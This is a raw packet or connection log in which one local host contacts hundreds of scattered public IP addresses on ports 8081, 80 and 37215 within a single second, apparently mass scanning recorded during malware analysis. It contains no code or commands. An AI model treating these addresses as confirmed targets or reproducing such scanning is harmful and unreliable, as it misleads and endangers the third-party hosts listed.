Jul 20, 2024 23:00:58.647548914 CEST	50565	8081	192.168.2.13	119.52.87.11
Jul 20, 2024 23:00:58.647552967 CEST	50565	8081	192.168.2.13	201.57.117.31
Jul 20, 2024 23:00:58.647561073 CEST	50565	8081	192.168.2.13	90.87.93.139
Jul 20, 2024 23:00:58.647561073 CEST	50565	8081	192.168.2.13	27.125.93.236
Jul 20, 2024 23:00:58.647591114 CEST	50565	8081	192.168.2.13	168.216.127.173
Jul 20, 2024 23:00:58.647591114 CEST	50565	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:00:58.647620916 CEST	80	50568	88.76.214.90	192.168.2.13
Jul 20, 2024 23:00:58.647653103 CEST	80	50568	88.103.153.43	192.168.2.13
Jul 20, 2024 23:00:58.647684097 CEST	50568	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:58.647686005 CEST	50565	8081	192.168.2.13	118.206.223.154
Jul 20, 2024 23:00:58.647697926 CEST	80	50568	88.236.162.163	192.168.2.13
Jul 20, 2024 23:00:58.647713900 CEST	80	50568	88.248.146.190	192.168.2.13
Jul 20, 2024 23:00:58.647743940 CEST	50565	8081	192.168.2.13	27.254.224.242
Jul 20, 2024 23:00:58.647748947 CEST	50565	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:00:58.647748947 CEST	50565	8081	192.168.2.13	76.141.184.226
Jul 20, 2024 23:00:58.647748947 CEST	50565	8081	192.168.2.13	13.185.79.229
Jul 20, 2024 23:00:58.647758007 CEST	80	50568	88.114.68.157	192.168.2.13
Jul 20, 2024 23:00:58.647869110 CEST	80	50568	88.124.234.147	192.168.2.13
Jul 20, 2024 23:00:58.647871017 CEST	50565	8081	192.168.2.13	105.250.179.123
Jul 20, 2024 23:00:58.647871017 CEST	50565	8081	192.168.2.13	191.100.108.229
Jul 20, 2024 23:00:58.647871017 CEST	50568	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:58.647877932 CEST	50565	8081	192.168.2.13	141.23.130.76
Jul 20, 2024 23:00:58.647877932 CEST	50565	8081	192.168.2.13	147.230.135.122
Jul 20, 2024 23:00:58.647881031 CEST	50565	8081	192.168.2.13	135.188.25.100
Jul 20, 2024 23:00:58.647881985 CEST	80	50568	88.86.157.38	192.168.2.13
Jul 20, 2024 23:00:58.647895098 CEST	80	50568	88.94.186.220	192.168.2.13
Jul 20, 2024 23:00:58.647907972 CEST	80	50568	88.50.180.63	192.168.2.13
Jul 20, 2024 23:00:58.647938013 CEST	80	50568	88.124.135.162	192.168.2.13
Jul 20, 2024 23:00:58.647950888 CEST	80	50568	88.243.42.220	192.168.2.13
Jul 20, 2024 23:00:58.647964001 CEST	80	50568	88.3.114.76	192.168.2.13
Jul 20, 2024 23:00:58.647985935 CEST	80	50568	88.182.133.26	192.168.2.13
Jul 20, 2024 23:00:58.647989988 CEST	50565	8081	192.168.2.13	85.247.110.68
Jul 20, 2024 23:00:58.648040056 CEST	50565	8081	192.168.2.13	207.193.20.97
Jul 20, 2024 23:00:58.648040056 CEST	50568	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:58.648041010 CEST	50565	8081	192.168.2.13	37.95.21.201
Jul 20, 2024 23:00:58.648041010 CEST	50565	8081	192.168.2.13	116.20.21.221
Jul 20, 2024 23:00:58.648041010 CEST	50565	8081	192.168.2.13	144.158.148.160
Jul 20, 2024 23:00:58.648041010 CEST	50565	8081	192.168.2.13	62.0.54.232
Jul 20, 2024 23:00:58.648056984 CEST	50565	8081	192.168.2.13	211.23.10.210
Jul 20, 2024 23:00:58.648056984 CEST	50565	8081	192.168.2.13	14.129.83.80
Jul 20, 2024 23:00:58.648056984 CEST	50568	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:58.648056984 CEST	50565	8081	192.168.2.13	160.152.72.177
Jul 20, 2024 23:00:58.648097038 CEST	50565	8081	192.168.2.13	24.253.166.170
Jul 20, 2024 23:00:58.648097038 CEST	50565	8081	192.168.2.13	130.219.171.86
Jul 20, 2024 23:00:58.648097038 CEST	50565	8081	192.168.2.13	183.41.184.24
Jul 20, 2024 23:00:58.648097038 CEST	50565	8081	192.168.2.13	134.203.83.23
Jul 20, 2024 23:00:58.648097038 CEST	50565	8081	192.168.2.13	81.153.29.79
Jul 20, 2024 23:00:58.648108959 CEST	50565	8081	192.168.2.13	18.15.144.190
Jul 20, 2024 23:00:58.648108959 CEST	50565	8081	192.168.2.13	79.65.232.86
Jul 20, 2024 23:00:58.648108959 CEST	50565	8081	192.168.2.13	117.177.164.2
Jul 20, 2024 23:00:58.648108959 CEST	50565	8081	192.168.2.13	14.11.59.216
Jul 20, 2024 23:00:58.648109913 CEST	50565	8081	192.168.2.13	9.29.133.23
Jul 20, 2024 23:00:58.648109913 CEST	50565	8081	192.168.2.13	189.255.174.137
Jul 20, 2024 23:00:58.648109913 CEST	50568	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:58.648109913 CEST	50565	8081	192.168.2.13	54.117.207.171
Jul 20, 2024 23:00:58.648158073 CEST	50565	8081	192.168.2.13	172.169.195.21
Jul 20, 2024 23:00:58.648158073 CEST	50565	8081	192.168.2.13	173.208.77.243
Jul 20, 2024 23:00:58.648158073 CEST	50565	8081	192.168.2.13	66.77.188.156
Jul 20, 2024 23:00:58.648158073 CEST	50565	8081	192.168.2.13	88.12.234.69
Jul 20, 2024 23:00:58.648158073 CEST	50565	8081	192.168.2.13	160.246.149.90
Jul 20, 2024 23:00:58.648158073 CEST	50565	8081	192.168.2.13	197.205.114.143
Jul 20, 2024 23:00:58.648158073 CEST	50568	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:58.648375988 CEST	50565	8081	192.168.2.13	178.9.35.137
Jul 20, 2024 23:00:58.648375988 CEST	50565	8081	192.168.2.13	221.158.28.228
Jul 20, 2024 23:00:58.648375988 CEST	50565	8081	192.168.2.13	60.80.104.64
Jul 20, 2024 23:00:58.648375988 CEST	50565	8081	192.168.2.13	91.137.132.92
Jul 20, 2024 23:00:58.648375988 CEST	50565	8081	192.168.2.13	132.112.127.230
Jul 20, 2024 23:00:58.648375988 CEST	50565	8081	192.168.2.13	210.14.86.159
Jul 20, 2024 23:00:58.648375988 CEST	50565	8081	192.168.2.13	211.52.133.239
Jul 20, 2024 23:00:58.648375988 CEST	50565	8081	192.168.2.13	131.169.220.199
Jul 20, 2024 23:00:58.648500919 CEST	50565	8081	192.168.2.13	104.121.55.224
Jul 20, 2024 23:00:58.648502111 CEST	50565	8081	192.168.2.13	217.32.72.67
Jul 20, 2024 23:00:58.648502111 CEST	50568	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:58.648502111 CEST	50565	8081	192.168.2.13	86.112.206.20
Jul 20, 2024 23:00:58.648502111 CEST	50568	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:58.648502111 CEST	50565	8081	192.168.2.13	70.115.97.135
Jul 20, 2024 23:00:58.648502111 CEST	50565	8081	192.168.2.13	4.17.149.227
Jul 20, 2024 23:00:58.648502111 CEST	50565	8081	192.168.2.13	180.124.34.41
Jul 20, 2024 23:00:58.648521900 CEST	80	50568	88.229.144.100	192.168.2.13
Jul 20, 2024 23:00:58.648536921 CEST	80	50568	88.151.199.19	192.168.2.13
Jul 20, 2024 23:00:58.648550987 CEST	80	50568	88.79.104.187	192.168.2.13
Jul 20, 2024 23:00:58.648564100 CEST	80	50568	88.239.53.105	192.168.2.13
Jul 20, 2024 23:00:58.648577929 CEST	80	50568	88.39.208.120	192.168.2.13
Jul 20, 2024 23:00:58.648590088 CEST	80	50568	88.109.221.124	192.168.2.13
Jul 20, 2024 23:00:58.648593903 CEST	50565	8081	192.168.2.13	100.51.24.79
Jul 20, 2024 23:00:58.648593903 CEST	50565	8081	192.168.2.13	182.4.25.2
Jul 20, 2024 23:00:58.648593903 CEST	50565	8081	192.168.2.13	210.165.42.21
Jul 20, 2024 23:00:58.648593903 CEST	50565	8081	192.168.2.13	211.150.198.165
Jul 20, 2024 23:00:58.648593903 CEST	50565	8081	192.168.2.13	80.68.41.88
Jul 20, 2024 23:00:58.648593903 CEST	50565	8081	192.168.2.13	133.44.79.146
Jul 20, 2024 23:00:58.648593903 CEST	50565	8081	192.168.2.13	125.215.67.139
Jul 20, 2024 23:00:58.648593903 CEST	50565	8081	192.168.2.13	114.77.67.205
Jul 20, 2024 23:00:58.648612022 CEST	80	50568	88.123.9.155	192.168.2.13
Jul 20, 2024 23:00:58.648626089 CEST	80	50568	88.95.27.60	192.168.2.13
Jul 20, 2024 23:00:58.648638010 CEST	80	50568	88.232.188.222	192.168.2.13
Jul 20, 2024 23:00:58.648648977 CEST	80	50568	88.183.147.254	192.168.2.13
Jul 20, 2024 23:00:58.648660898 CEST	80	50568	88.208.128.4	192.168.2.13
Jul 20, 2024 23:00:58.648673058 CEST	80	50568	88.133.183.152	192.168.2.13
Jul 20, 2024 23:00:58.648684978 CEST	80	50568	88.194.51.20	192.168.2.13
Jul 20, 2024 23:00:58.648696899 CEST	80	50568	88.146.249.166	192.168.2.13
Jul 20, 2024 23:00:58.648710012 CEST	80	50568	88.25.193.103	192.168.2.13
Jul 20, 2024 23:00:58.648721933 CEST	80	50568	88.92.101.150	192.168.2.13
Jul 20, 2024 23:00:58.648734093 CEST	80	50568	88.12.158.127	192.168.2.13
Jul 20, 2024 23:00:58.648746014 CEST	80	50568	88.5.120.65	192.168.2.13
Jul 20, 2024 23:00:58.648757935 CEST	80	50568	88.241.177.22	192.168.2.13
Jul 20, 2024 23:00:58.648778915 CEST	80	50568	88.85.121.11	192.168.2.13
Jul 20, 2024 23:00:58.648791075 CEST	80	50568	88.228.89.154	192.168.2.13
Jul 20, 2024 23:00:58.648806095 CEST	80	50568	88.36.60.173	192.168.2.13
Jul 20, 2024 23:00:58.648818016 CEST	80	50568	88.193.78.207	192.168.2.13
Jul 20, 2024 23:00:58.648838997 CEST	80	50568	88.180.85.169	192.168.2.13
Jul 20, 2024 23:00:58.648850918 CEST	80	50568	88.224.163.182	192.168.2.13
Jul 20, 2024 23:00:58.648864031 CEST	80	50568	88.191.94.94	192.168.2.13
Jul 20, 2024 23:00:58.648876905 CEST	80	50568	88.194.253.45	192.168.2.13
Jul 20, 2024 23:00:58.648889065 CEST	80	50568	88.72.140.110	192.168.2.13
Jul 20, 2024 23:00:58.648953915 CEST	80	50568	88.42.182.254	192.168.2.13
Jul 20, 2024 23:00:58.648967028 CEST	80	50568	88.56.0.126	192.168.2.13
Jul 20, 2024 23:00:58.648979902 CEST	80	50568	88.207.103.153	192.168.2.13
Jul 20, 2024 23:00:58.648993015 CEST	80	50568	88.175.159.46	192.168.2.13
Jul 20, 2024 23:00:58.649112940 CEST	80	50568	88.43.79.4	192.168.2.13
Jul 20, 2024 23:00:58.649168968 CEST	80	50568	88.46.94.155	192.168.2.13
Jul 20, 2024 23:00:58.649182081 CEST	80	50568	88.144.5.185	192.168.2.13
Jul 20, 2024 23:00:58.649194002 CEST	80	50568	88.149.225.52	192.168.2.13
Jul 20, 2024 23:00:58.649362087 CEST	80	50568	88.254.213.91	192.168.2.13
Jul 20, 2024 23:00:58.649400949 CEST	80	50568	88.100.181.189	192.168.2.13
Jul 20, 2024 23:00:58.649414062 CEST	80	50568	88.144.101.120	192.168.2.13
Jul 20, 2024 23:00:58.649425983 CEST	80	50568	88.88.172.117	192.168.2.13
Jul 20, 2024 23:00:58.649439096 CEST	80	50568	88.36.251.157	192.168.2.13
Jul 20, 2024 23:00:58.649451017 CEST	80	50568	88.62.196.103	192.168.2.13
Jul 20, 2024 23:00:58.649465084 CEST	80	50568	88.72.206.136	192.168.2.13
Jul 20, 2024 23:00:58.649476051 CEST	80	50568	88.188.103.1	192.168.2.13
Jul 20, 2024 23:00:58.649507046 CEST	80	50568	88.45.43.209	192.168.2.13
Jul 20, 2024 23:00:58.649535894 CEST	80	50568	88.172.217.29	192.168.2.13
Jul 20, 2024 23:00:58.649794102 CEST	50565	8081	192.168.2.13	1.200.179.149
Jul 20, 2024 23:00:58.649794102 CEST	50565	8081	192.168.2.13	180.244.103.212
Jul 20, 2024 23:00:58.649794102 CEST	50565	8081	192.168.2.13	165.105.54.22
Jul 20, 2024 23:00:58.649794102 CEST	50565	8081	192.168.2.13	42.43.78.78
Jul 20, 2024 23:00:58.649795055 CEST	50565	8081	192.168.2.13	126.136.87.253
Jul 20, 2024 23:00:58.649795055 CEST	50565	8081	192.168.2.13	50.236.129.27
Jul 20, 2024 23:00:58.649795055 CEST	50565	8081	192.168.2.13	117.218.27.54
Jul 20, 2024 23:00:58.649795055 CEST	50565	8081	192.168.2.13	57.174.88.220
Jul 20, 2024 23:00:58.649874926 CEST	50565	8081	192.168.2.13	74.74.185.154
Jul 20, 2024 23:00:58.649874926 CEST	50565	8081	192.168.2.13	36.158.2.218
Jul 20, 2024 23:00:58.649874926 CEST	50565	8081	192.168.2.13	76.22.1.183
Jul 20, 2024 23:00:58.649876118 CEST	50568	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:58.649876118 CEST	50565	8081	192.168.2.13	14.217.247.201
Jul 20, 2024 23:00:58.649876118 CEST	50565	8081	192.168.2.13	217.241.134.162
Jul 20, 2024 23:00:58.649876118 CEST	50565	8081	192.168.2.13	46.39.191.49
Jul 20, 2024 23:00:58.649899960 CEST	50568	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:58.649899960 CEST	50568	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:58.649899960 CEST	50568	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:58.649899960 CEST	50568	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:58.649899960 CEST	50565	8081	192.168.2.13	12.244.150.123
Jul 20, 2024 23:00:58.649899960 CEST	50565	8081	192.168.2.13	171.53.229.160
Jul 20, 2024 23:00:58.649899960 CEST	50565	8081	192.168.2.13	111.245.190.224
Jul 20, 2024 23:00:58.649899960 CEST	50565	8081	192.168.2.13	139.249.15.203
Jul 20, 2024 23:00:58.649967909 CEST	50565	8081	192.168.2.13	38.137.91.224
Jul 20, 2024 23:00:58.649967909 CEST	50565	8081	192.168.2.13	168.54.33.18
Jul 20, 2024 23:00:58.649967909 CEST	50565	8081	192.168.2.13	47.19.229.1
Jul 20, 2024 23:00:58.649967909 CEST	50565	8081	192.168.2.13	52.155.53.16
Jul 20, 2024 23:00:58.649967909 CEST	50565	8081	192.168.2.13	40.239.242.238
Jul 20, 2024 23:00:58.649967909 CEST	50568	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:58.649969101 CEST	50565	8081	192.168.2.13	61.179.178.158
Jul 20, 2024 23:00:58.649975061 CEST	80	50568	88.11.53.195	192.168.2.13
Jul 20, 2024 23:00:58.649969101 CEST	50565	8081	192.168.2.13	209.194.43.67
Jul 20, 2024 23:00:58.649983883 CEST	50565	8081	192.168.2.13	118.14.228.51
Jul 20, 2024 23:00:58.649983883 CEST	50565	8081	192.168.2.13	140.251.31.222
Jul 20, 2024 23:00:58.649983883 CEST	50565	8081	192.168.2.13	145.216.15.149
Jul 20, 2024 23:00:58.649985075 CEST	50565	8081	192.168.2.13	138.28.105.92
Jul 20, 2024 23:00:58.649985075 CEST	50565	8081	192.168.2.13	162.19.7.39
Jul 20, 2024 23:00:58.649985075 CEST	50568	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:58.649985075 CEST	50568	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:58.649985075 CEST	50568	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:58.650057077 CEST	80	50568	88.91.94.195	192.168.2.13
Jul 20, 2024 23:00:58.650089025 CEST	80	50568	88.183.179.90	192.168.2.13
Jul 20, 2024 23:00:58.650144100 CEST	50565	8081	192.168.2.13	130.82.205.50
Jul 20, 2024 23:00:58.650144100 CEST	50565	8081	192.168.2.13	35.194.214.78
Jul 20, 2024 23:00:58.650144100 CEST	50565	8081	192.168.2.13	89.187.123.20
Jul 20, 2024 23:00:58.650144100 CEST	50565	8081	192.168.2.13	73.226.236.11
Jul 20, 2024 23:00:58.650144100 CEST	50568	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:58.650144100 CEST	50568	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:58.650144100 CEST	50565	8081	192.168.2.13	20.19.44.152
Jul 20, 2024 23:00:58.650233984 CEST	80	50568	88.139.53.242	192.168.2.13
Jul 20, 2024 23:00:58.650249004 CEST	80	50568	88.47.144.213	192.168.2.13
Jul 20, 2024 23:00:58.650264978 CEST	80	50568	88.142.208.235	192.168.2.13
Jul 20, 2024 23:00:58.650280952 CEST	80	50568	88.217.111.86	192.168.2.13
Jul 20, 2024 23:00:58.650296926 CEST	80	50568	88.147.170.219	192.168.2.13
Jul 20, 2024 23:00:58.650296926 CEST	50565	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:00:58.650296926 CEST	50565	8081	192.168.2.13	123.135.78.85
Jul 20, 2024 23:00:58.650296926 CEST	50565	8081	192.168.2.13	12.120.192.163
Jul 20, 2024 23:00:58.650296926 CEST	50565	8081	192.168.2.13	131.185.209.108
Jul 20, 2024 23:00:58.650296926 CEST	50565	8081	192.168.2.13	133.142.27.178
Jul 20, 2024 23:00:58.650296926 CEST	50565	8081	192.168.2.13	129.218.9.212
Jul 20, 2024 23:00:58.650296926 CEST	50565	8081	192.168.2.13	206.159.6.219
Jul 20, 2024 23:00:58.650296926 CEST	50565	8081	192.168.2.13	69.179.58.224
Jul 20, 2024 23:00:58.650311947 CEST	80	50568	88.60.255.249	192.168.2.13
Jul 20, 2024 23:00:58.650340080 CEST	80	50568	88.10.119.162	192.168.2.13
Jul 20, 2024 23:00:58.650360107 CEST	80	50568	88.42.123.165	192.168.2.13
Jul 20, 2024 23:00:58.650382042 CEST	80	50568	88.185.18.207	192.168.2.13
Jul 20, 2024 23:00:58.650475025 CEST	80	50568	88.203.34.200	192.168.2.13
Jul 20, 2024 23:00:58.650486946 CEST	80	50568	88.51.29.49	192.168.2.13
Jul 20, 2024 23:00:58.650500059 CEST	80	50568	88.115.87.106	192.168.2.13
Jul 20, 2024 23:00:58.650511980 CEST	80	50568	88.15.130.209	192.168.2.13
Jul 20, 2024 23:00:58.650821924 CEST	80	50568	88.55.81.133	192.168.2.13
Jul 20, 2024 23:00:58.650867939 CEST	80	50568	88.46.192.156	192.168.2.13
Jul 20, 2024 23:00:58.650924921 CEST	80	50568	88.233.245.46	192.168.2.13
Jul 20, 2024 23:00:58.650958061 CEST	80	50568	88.95.217.148	192.168.2.13
Jul 20, 2024 23:00:58.650986910 CEST	80	50568	88.84.148.82	192.168.2.13
Jul 20, 2024 23:00:58.651016951 CEST	80	50568	88.173.127.131	192.168.2.13
Jul 20, 2024 23:00:58.651046991 CEST	80	50568	88.28.231.133	192.168.2.13
Jul 20, 2024 23:00:58.651078939 CEST	80	50568	88.39.167.212	192.168.2.13
Jul 20, 2024 23:00:58.651108027 CEST	80	50568	88.3.244.128	192.168.2.13
Jul 20, 2024 23:00:58.651117086 CEST	50568	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:58.651117086 CEST	50568	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:58.651117086 CEST	50568	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:58.651117086 CEST	50568	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:58.651117086 CEST	50568	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:58.651117086 CEST	50568	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:58.651117086 CEST	50568	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:58.651138067 CEST	37215	33704	197.92.237.222	192.168.2.13
Jul 20, 2024 23:00:58.651169062 CEST	80	50568	88.178.196.213	192.168.2.13
Jul 20, 2024 23:00:58.651223898 CEST	80	50568	88.28.171.163	192.168.2.13
Jul 20, 2024 23:00:58.651253939 CEST	80	50568	88.191.74.35	192.168.2.13
Jul 20, 2024 23:00:58.651283026 CEST	80	50568	88.11.238.53	192.168.2.13
Jul 20, 2024 23:00:58.651314974 CEST	80	50568	88.229.215.174	192.168.2.13
Jul 20, 2024 23:00:58.651340008 CEST	50565	8081	192.168.2.13	14.18.87.181
Jul 20, 2024 23:00:58.651340008 CEST	50565	8081	192.168.2.13	125.119.2.235
Jul 20, 2024 23:00:58.651340008 CEST	50565	8081	192.168.2.13	43.249.64.134
Jul 20, 2024 23:00:58.651340008 CEST	50565	8081	192.168.2.13	73.19.20.50
Jul 20, 2024 23:00:58.651340008 CEST	50565	8081	192.168.2.13	45.78.64.179
Jul 20, 2024 23:00:58.651340008 CEST	50568	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:58.651340008 CEST	50568	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:58.651340008 CEST	50565	8081	192.168.2.13	151.241.150.207
Jul 20, 2024 23:00:58.651345015 CEST	80	50568	88.57.169.186	192.168.2.13
Jul 20, 2024 23:00:58.651375055 CEST	80	50568	88.143.197.12	192.168.2.13
Jul 20, 2024 23:00:58.651416063 CEST	50565	8081	192.168.2.13	200.82.236.203
Jul 20, 2024 23:00:58.651416063 CEST	50565	8081	192.168.2.13	39.168.134.97
Jul 20, 2024 23:00:58.651416063 CEST	50565	8081	192.168.2.13	121.100.66.29
Jul 20, 2024 23:00:58.651416063 CEST	50565	8081	192.168.2.13	83.78.185.118
Jul 20, 2024 23:00:58.651416063 CEST	50568	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:58.651416063 CEST	50568	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:58.651416063 CEST	50565	8081	192.168.2.13	218.67.60.128
Jul 20, 2024 23:00:58.651416063 CEST	50568	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:58.651798010 CEST	50568	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:58.651798010 CEST	50565	8081	192.168.2.13	134.79.83.231
Jul 20, 2024 23:00:58.651798010 CEST	50565	8081	192.168.2.13	107.94.20.210
Jul 20, 2024 23:00:58.651798010 CEST	50565	8081	192.168.2.13	65.48.2.108
Jul 20, 2024 23:00:58.651798010 CEST	50568	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:58.651798010 CEST	50565	8081	192.168.2.13	181.172.116.237
Jul 20, 2024 23:00:58.651798964 CEST	50565	8081	192.168.2.13	124.38.177.48
Jul 20, 2024 23:00:58.651798964 CEST	50565	8081	192.168.2.13	190.7.132.46
Jul 20, 2024 23:00:58.652419090 CEST	8081	50565	168.104.48.153	192.168.2.13
Jul 20, 2024 23:00:58.652556896 CEST	50565	8081	192.168.2.13	182.63.116.247
Jul 20, 2024 23:00:58.652556896 CEST	50568	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:58.652556896 CEST	50568	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:58.652556896 CEST	50565	8081	192.168.2.13	167.104.170.100
Jul 20, 2024 23:00:58.652556896 CEST	50568	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:58.652556896 CEST	50568	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:58.652556896 CEST	50568	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:58.652556896 CEST	50568	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:58.652594090 CEST	50568	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:58.652594090 CEST	50565	8081	192.168.2.13	150.107.212.251
Jul 20, 2024 23:00:58.652594090 CEST	50568	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:58.652594090 CEST	50568	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:58.652594090 CEST	50568	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:58.652594090 CEST	50568	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:58.652594090 CEST	50568	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:58.652594090 CEST	50568	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:58.652623892 CEST	50565	8081	192.168.2.13	223.200.73.225
Jul 20, 2024 23:00:58.652623892 CEST	50565	8081	192.168.2.13	199.254.182.224
Jul 20, 2024 23:00:58.652623892 CEST	50568	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:58.652623892 CEST	50568	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:58.652623892 CEST	50565	8081	192.168.2.13	14.18.228.142
Jul 20, 2024 23:00:58.652625084 CEST	50565	8081	192.168.2.13	20.214.196.103
Jul 20, 2024 23:00:58.652625084 CEST	50565	8081	192.168.2.13	132.60.84.254
Jul 20, 2024 23:00:58.652625084 CEST	50568	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:58.652720928 CEST	8081	50565	179.214.55.135	192.168.2.13
Jul 20, 2024 23:00:58.652751923 CEST	8081	50565	118.88.197.138	192.168.2.13
Jul 20, 2024 23:00:58.652782917 CEST	8081	50565	81.48.29.132	192.168.2.13
Jul 20, 2024 23:00:58.652812004 CEST	8081	50565	47.100.149.89	192.168.2.13
Jul 20, 2024 23:00:58.652841091 CEST	8081	50565	201.57.117.31	192.168.2.13
Jul 20, 2024 23:00:58.652869940 CEST	8081	50565	90.87.93.139	192.168.2.13
Jul 20, 2024 23:00:58.652900934 CEST	8081	50565	109.42.180.137	192.168.2.13
Jul 20, 2024 23:00:58.652930021 CEST	8081	50565	108.34.97.187	192.168.2.13
Jul 20, 2024 23:00:58.652959108 CEST	8081	50565	168.216.127.173	192.168.2.13
Jul 20, 2024 23:00:58.653013945 CEST	8081	50565	27.254.224.242	192.168.2.13
Jul 20, 2024 23:00:58.653043032 CEST	8081	50565	179.192.54.138	192.168.2.13
Jul 20, 2024 23:00:58.653053999 CEST	50565	8081	192.168.2.13	221.122.108.67
Jul 20, 2024 23:00:58.653053999 CEST	50568	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:58.653053999 CEST	50568	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:58.653053999 CEST	50568	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:58.653053999 CEST	50568	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:58.653053999 CEST	50568	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:58.653053999 CEST	50568	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:58.653053999 CEST	50568	80	192.168.2.13	88.43.218.177
Jul 20, 2024 23:00:58.653070927 CEST	8081	50565	120.212.148.136	192.168.2.13
Jul 20, 2024 23:00:58.653099060 CEST	8081	50565	1.190.106.28	192.168.2.13
Jul 20, 2024 23:00:58.653127909 CEST	8081	50565	141.23.130.76	192.168.2.13
Jul 20, 2024 23:00:58.653156996 CEST	8081	50565	105.250.179.123	192.168.2.13
Jul 20, 2024 23:00:58.653184891 CEST	8081	50565	135.188.25.100	192.168.2.13
Jul 20, 2024 23:00:58.653213978 CEST	8081	50565	119.52.87.11	192.168.2.13
Jul 20, 2024 23:00:58.653228998 CEST	50565	8081	192.168.2.13	25.78.168.209
Jul 20, 2024 23:00:58.653228998 CEST	50565	8081	192.168.2.13	219.231.155.96
Jul 20, 2024 23:00:58.653228998 CEST	50568	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:58.653228998 CEST	50568	80	192.168.2.13	88.79.104.187
Jul 20, 2024 23:00:58.653228998 CEST	50565	8081	192.168.2.13	18.16.20.157
Jul 20, 2024 23:00:58.653228998 CEST	50565	8081	192.168.2.13	86.142.251.255
Jul 20, 2024 23:00:58.653228998 CEST	50568	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:58.653228998 CEST	50565	8081	192.168.2.13	222.202.244.141
Jul 20, 2024 23:00:58.653265953 CEST	8081	50565	85.247.110.68	192.168.2.13
Jul 20, 2024 23:00:58.653296947 CEST	8081	50565	147.230.135.122	192.168.2.13
Jul 20, 2024 23:00:58.653326988 CEST	8081	50565	27.125.93.236	192.168.2.13
Jul 20, 2024 23:00:58.653354883 CEST	8081	50565	76.141.184.226	192.168.2.13
Jul 20, 2024 23:00:58.653388977 CEST	8081	50565	18.15.144.190	192.168.2.13
Jul 20, 2024 23:00:58.653418064 CEST	8081	50565	211.23.10.210	192.168.2.13
Jul 20, 2024 23:00:58.653448105 CEST	8081	50565	207.193.20.97	192.168.2.13
Jul 20, 2024 23:00:58.653476954 CEST	8081	50565	191.100.108.229	192.168.2.13
Jul 20, 2024 23:00:58.653506041 CEST	8081	50565	14.129.83.80	192.168.2.13
Jul 20, 2024 23:00:58.653534889 CEST	8081	50565	79.65.232.86	192.168.2.13
Jul 20, 2024 23:00:58.653563023 CEST	8081	50565	13.185.79.229	192.168.2.13
Jul 20, 2024 23:00:58.653597116 CEST	8081	50565	117.177.164.2	192.168.2.13
Jul 20, 2024 23:00:58.653625011 CEST	8081	50565	24.253.166.170	192.168.2.13
Jul 20, 2024 23:00:58.653759956 CEST	8081	50565	160.152.72.177	192.168.2.13
Jul 20, 2024 23:00:58.653783083 CEST	50568	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:58.653783083 CEST	50568	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:58.653783083 CEST	50568	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:58.653783083 CEST	33704	37215	192.168.2.13	197.92.237.222
Jul 20, 2024 23:00:58.653783083 CEST	50568	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:58.653783083 CEST	50568	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:58.653783083 CEST	50568	80	192.168.2.13	88.133.123.34
